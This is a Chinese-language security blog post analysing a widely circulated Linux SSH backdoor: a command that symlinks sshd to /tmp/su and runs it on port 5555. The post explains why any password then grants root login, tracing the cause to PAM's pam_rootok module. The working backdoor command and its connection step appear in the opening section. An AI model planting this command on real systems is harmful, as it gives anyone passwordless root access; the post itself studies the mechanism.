LOnils's Blog

一条后门命令引发的思考

Word count: 702Reading time: 2 min
2017/03/08 Share

0x01 起因

某天 Sevck 在群里 发了一句在网上流传的后门:

1
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555

命令的意思就是将sshd做个软连接新建到/tmp/su,之后开放5555端口。
通过ssh root@X.X.X.X -p 5555 随意输入密码 即可连接后门。

0x02 分析

于是在vps上从/var/log/secure 中获取ssh的日志,之后执行ln后门。
在分析过程中发现如果把后门命令中的/tmp/su中的su修改成任意其他名字就不能够进行后门连接。
具体可看日志:

可以发现在修改为tt之后远程无法进行连接。
sevck说是这个su是pam认证下的su

1
在Linux中进行身份或是状态的验证程序是由PAM来进行的,PAM(Pluggable Authentication Modules)可动态加载验证模块,因为可以按需要动态的对验证的内容进行变更,所以可以大大提高验证的灵活性。


于是做了测试,把该目录下的su重命名为其他文件如tt,之后同样执行ln到/tmp/tt,发现连接后门成功了,说明重命名后su的确是调用/ect/pam.d/下的。
现在确认了是pam中的su导致的,为什么就不需要密码就可以登录?
diff了一下pam中的sshd和su的区别:

这里需要了解一下PAM中的控制标记:

sshd的pam认证使用了required和include,su使用了sufficient,在此就可以看出二者的区别了。

我们发现su的认证使用了pam_rootok.so,他是如何验证的,为什么导致我们输入任何密码就通过。

于是查了下pam_rootok.so的相关信息:

他的认证模块是认证你的UID是否为0,他会return pam的结果。

再去看一下pam_rootok.so的源码,发现:

他先会调用getuid(),如果get的uid为0,他会检查selinux的root是否为0或是否启用selinux下为0,返回认证成功,否则认证失败。

那么getuid()是从哪里来的,查一下官网:

是根据进程来取得的,根据pam_rootok的文档,我们也可以对su进行调试:

pam_rootok.so返回成功,依次向下执行so,都会成功,建立会话。
查看log:

第一条:

pam_rootok(su:auth): authentication succeeded

至此也终于清楚了为什么就可以输入任意密码进行登录。

我们重新捋一捋:

0x03 结果

实际的真相就是在pam中的pam_rootok模块,pam_rootok通过了认证还会一次向下执行,但是下面的都会依赖于pam_rootok的认证,auth =>account =>session:

通过查找其实不单单是su存在pam_rootok,只要满足了上述的三个条件都可以进行”任意密码登录”。

0x04 参考

https://www.cnblogs.com/sevck/p/6495884.html

CATALOG
  1. 1. 0x01 起因
  2. 2. 0x02 分析
  3. 3. 0x03 结果
  4. 4. 0x04 参考